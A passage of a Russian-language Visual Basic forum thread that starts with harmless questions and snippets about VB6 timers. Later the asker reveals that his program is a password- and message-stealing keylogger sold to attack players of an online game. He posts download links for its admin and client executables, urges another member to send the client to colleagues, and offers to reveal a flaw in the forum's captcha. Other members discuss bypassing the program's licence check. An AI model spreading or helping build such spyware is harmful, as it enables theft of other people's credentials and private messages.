powered by simpleCommunicator - 2.0.53     © 2025 Programmizd 02
Форумы / Visual Basic [игнор отключен] [закрыт для гостей] / таймер
25 сообщений из 111, страница 1 из 5
таймер
    #37838408
Below0
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
имеется таймер с интервалом 1 (1 мск) с содержимым:
Код: vbnet
1.
2.
3.
4.
5.
Private Sub Timer1_Timer()
Timer1.Enabled = False
'блаблабла один запрос на хостинг через InternetOpenUrl, один синхронный запрос наличия файла через MSXML2.XMLHTTP
Timer1.Enabled = True
End Sub

в нём выполняется код по получению нажатой клавиши. на моём компе всё норм. но у других юзеров комп не успевает сделать вышеописанные действия за одну мск. в итоге прога начинает ловить только, например, каждую третью нажатую клавишу. очевидное решение: убрать
Код: vbnet
1.
Timer1.Enabled = False

вопрос: можно ли так сделать? ведь будет копиться всё больше и больше невыполнивших свою работу таймеров. или это не страшно? как ещё можно решить проблему?
...
Рейтинг: 0 / 0
таймер
    #37838454
Фотография Akina
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Реально таймер в лучшем случае срабатывает раз в 10 мс... брось на форму кнопку и пару таймеров, в модуль вот такой код:
Код: vbnet
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
Dim i As Integer
Dim j As Integer

Private Sub Command1_Click()
i = 1
Timer2.Enabled = True
End Sub

Private Sub Timer1_Timer()
j = j + 1
End Sub

Private Sub Timer2_Timer()
Select Case i
Case 1
    j = 0
    i = 2
    Timer1.Enabled = True
Case 2
    Timer1.Enabled = False
    Timer2.Enabled = False
    MsgBox j
End Select
End Sub


и подивись на результат.
...
Рейтинг: 0 / 0
таймер
    #37838459
Фотография Akina
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Да, оба таймеры выключены, период - у первого 1 мс, у второго 1000 мс.
...
Рейтинг: 0 / 0
таймер
    #37838473
Below0
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Akinaподивись на результат. 5 раз запустил - 5 раз выдало "64". т.е. одномилисекундный таймер отрабатывает только 64 раза за 1 секунду... коряво, но не очень понимаю, какая параллель с моей проблемой
...
Рейтинг: 0 / 0
таймер
    #37838488
Фотография Shocker.Pro
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Below0какая параллель с моей проблемойсамая прямая. Не надо убирать отключение таймера.
...
Рейтинг: 0 / 0
таймер
    #37838489
Below0
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Shocker.ProBelow0какая параллель с моей проблемойсамая прямая. Не надо убирать отключение таймера. ты мне это когда-то впервые посоветовал)
...
Рейтинг: 0 / 0
таймер
    #37838494
Фотография Shocker.Pro
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Что - ЭТО?
...
Рейтинг: 0 / 0
таймер
    #37838544
Below0
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Shocker.ProЧто - ЭТО? юзать выключения таймера в самом таймере. убрал выключение таймера. + вынес все обращения к хостингу в отдельный независимый медленный таймер. т.е. за счёт уменьшения интервала связи с нетом я уменьшил нагрузку на свой хост и увеличил скорость проги. в идеале до меня дошло, как правильно избежать многократного запуска таймера. например, так:
Код: vbnet
1.
2.
3.
4.
5.
6.
7.
8.
Private Sub Timer1_Timer()
if a = true then
else
a = true
'выполняемый код
a = false
end if
End Sub

тогда время выполнения кода не будет складываться с интервалом таймера. заманался вводить этот тупой код!
...
Рейтинг: 0 / 0
таймер
    #37838552
Фотография Shocker.Pro
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Below0юзать выключения таймера в самом таймерену. а разве я сейчас что-то другое советую?

то, что ты сейчас написал, бессмысленно (кроме случаев, когда в строке "выполняемый код" есть doevents)
...
Рейтинг: 0 / 0
таймер
    #37838560
Below0
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Shocker.Proто, что ты сейчас написал, бессмысленно в коде выше если интервал таймера 5 секунд, а сам код в таймере выполняется 3 секунды, то следующее выполнение кода будет через 5+3=8 секунд. а в варианте, что я выложил, следующий запуск будет, как и задумано, через 5 секунд. моя прога работает идеально) уже не знаю, что ещё в неё такое пихнуть, чтоб прям поражала воображение. продал пока что только одному челу, и он при помощи неё уже переломал половину юзеров одной онлайн игрушки))) надо будет поставить помесячную оплату за пользование прогой. взломать её невозможно(а то меня раньше беспокоил этот вопрос), за что большое спс PHP)
...
Рейтинг: 0 / 0
таймер
    #37838570
Фотография Shocker.Pro
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Еще раз: событие следующего срабатывания таймера не начнется, пока выполняется код предыдущего события (за исключением DoEvens) так что проверять a = True смысла не имеет, а если твой код будет выполняться дольше, чем интервал таймера, события будут накапливаться в очереди и очередь будет расти бесконечно.
...
Рейтинг: 0 / 0
таймер
    #37838575
катастрофа
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Below0,
>взломать её невозможно(а то меня раньше беспокоил этот вопрос), за что большое спс PHP)
был же юзер, клялся треуголкой, что взломает, разбудите его
...
Рейтинг: 0 / 0
таймер
    #37838577
Фотография Shocker.Pro
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
катастрофа,
А мне напоминает анекдот по Неуловимого Джо
...
Рейтинг: 0 / 0
таймер
    #37838611
Фотография Akina
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Below0не очень понимаю, какая параллель с моей проблемой
Да собсно я это к
Below0комп не успевает сделать вышеописанные действия за одну мск
...
Рейтинг: 0 / 0
таймер
    #37838641
Я тута!
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
катастрофаBelow0,
>взломать её невозможно(а то меня раньше беспокоил этот вопрос), за что большое спс PHP)
был же юзер, клялся треуголкой, что взломает, разбудите его
Готов сломать!
...
Рейтинг: 0 / 0
таймер
    #37838652
Below0
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Я тута!катастрофаBelow0,
>взломать её невозможно(а то меня раньше беспокоил этот вопрос), за что большое спс PHP)
был же юзер, клялся треуголкой, что взломает, разбудите его
Готов сломать! скинь любую свою почту. по почте и по учётной записи компа идёт привязка к одному юзеру. за одно потестишь моё произведение искусства и гениальной инженерной мысли
...
Рейтинг: 0 / 0
таймер
    #37838661
Я тута!
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Below0Я тута!пропущено...

Готов сломать! скинь любую свою почту. по почте и по учётной записи компа идёт привязка к одному юзеру. за одно потестишь моё произведение искусства и гениальной инженерной мысли

Кому: uebanec@bk.ru
...
Рейтинг: 0 / 0
таймер
    #37838675
Below0
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Я тута!Below0пропущено...
скинь любую свою почту. по почте и по учётной записи компа идёт привязка к одному юзеру. за одно потестишь моё произведение искусства и гениальной инженерной мысли

Кому: uebanec@bk.ru воть... http://qlewer.mgn-host.ru/Qlewer.exe в админской части отключена резервная админская отправка, чтоб зря не спамил с почты) в остальном всё работает. можешь взломать кого-нибудь из коллег. через пару часов или завтра отключу программу дистанцинно. файл с клевером на иконке - админская часть. её открываешь сам(привязка по учётной записи юзера. твою я не знаю, поэтому взломаешь сам - для тебя не проблема).

а эту http://qlewer.mgn-host.ru/qlewer client.exe прогу отсылаешь кому-нибудь. 1 раз откроешь - перестанет работать, поэтому делай копии. отсылает логи на админускую часть и на твою почту

после последних доработок не проверял, но должна работать и приносить радость) вот офиц сайт http://qlewer.mgn-host.ru/
...
Рейтинг: 0 / 0
таймер
    #37838677
Я
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Я
Гость
Below0,

Хорошо, завтра посмотрю это дерьмо. Обещаю.
А как ты отключишь если я её буду тестить в сети без выхода в интернет?
...
Рейтинг: 0 / 0
таймер
    #37838682
Below0
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
ЯBelow0,

Хорошо, завтра посмотрю это дерьмо. Обещаю.
А как ты отключишь если я её буду тестить в сети без выхода в интернет? я отключу прогу от выхода в интернет) а так она будет работать. только какой смысл тебе будет от проги, тырящей пароли через интернет без интернета ?
...
Рейтинг: 0 / 0
таймер
    #37838685
Я
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Я
Гость
Below0,

Так что мне надо сделать с твоей поделкой что бы она считалась взломанной?
...
Рейтинг: 0 / 0
таймер
    #37838698
Below0
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
ЯBelow0,

Так что мне надо сделать с твоей поделкой что бы она считалась взломанной? хм... взломать её в принципе невозможно. под "взломать" я подразумеваю один из пунктов
1) работа проги вне моего желания (т.е. прога перестаёт принадлежать мне)
2) отказ работы сервера или потеря данных или получение моих или чужих данных с хостинга или использование сервера в своих нуждах

я защитил прогу от всего перечисленного(уж как мог). самой уязвимой остаётся админская часть(на то она и админская), т.е. можно заставить её работать без моего желания. но толку от неё без клиентской части9которую я могу заблокировать дистанционно) не будет
...
Рейтинг: 0 / 0
таймер
    #37838710
Below0
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
кстати, хочешь, расскажу, как взломать этот форум?(защитную картинку) я знаю как, но для этого надо убить целый день. дыра в защите форума устраняется в течении часа... т.е. на флуд будет только около миллиона сообщений)

Shocker.Pro, или скажу, где брешь в защите, тебе за разбанивание моего аккаунта)
...
Рейтинг: 0 / 0
таймер
    #37838726
Фотография Antonariy
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
1) Что это означает? У нее есть лицензионное соглашение, где написано, кому она принадлежит? Нужно изменить текст, что бы там было написано, что она больше тебе не принадлежит? Чушь какая-то. Работает она в любом случае независимо от твоего желания. Это исполняемый файл, который исполняет операционка, причем тут твоя личность?
2) Это уже взлом сайта, а не проги.

В любом случае можно дописать в файл hosts свой сайт под именем твоего, запросы и ответы посмотреть фиддлером и подделать их на своем сайте. Я не знаю, зачем она постоянно дергает сайт, но если лишь за тем, чтобы проверить, что работать ей дозволяется, то ломается она еще проще - отключением таймера. Или условного перехода, что по сути одно и тоже.
...
Рейтинг: 0 / 0
таймер
    #37838738
Below0
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
AntonariyРаботает она в любом случае независимо от твоего желания что ты понимаешь под "работает"? запускается? так по одному моему желанию она перестанет выполнять свои прямые обязанности, а именно: тырение паролей и переписок. AntonariyЭто исполняемый файл, который исполняет операционка, причем тут твоя личность? без моей личности это всего лишь бесполезный набор байтов AntonariyЯ не знаю, зачем она постоянно дергает сайт, но если лишь за тем, чтобы проверить, что работать ей дозволяется, то ломается она еще проще - отключением таймера. я наивен, но не настолько глуп) AntonariyВ любом случае можно дописать в файл hosts свой сайт под именем твоего, запросы и ответы посмотреть фиддлером и подделать их на своем сайте хм( да, это вполне осуществимо( и как от этого защититься?
...
Рейтинг: 0 / 0
25 сообщений из 111, страница 1 из 5
Форумы / Visual Basic [игнор отключен] [закрыт для гостей] / таймер
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]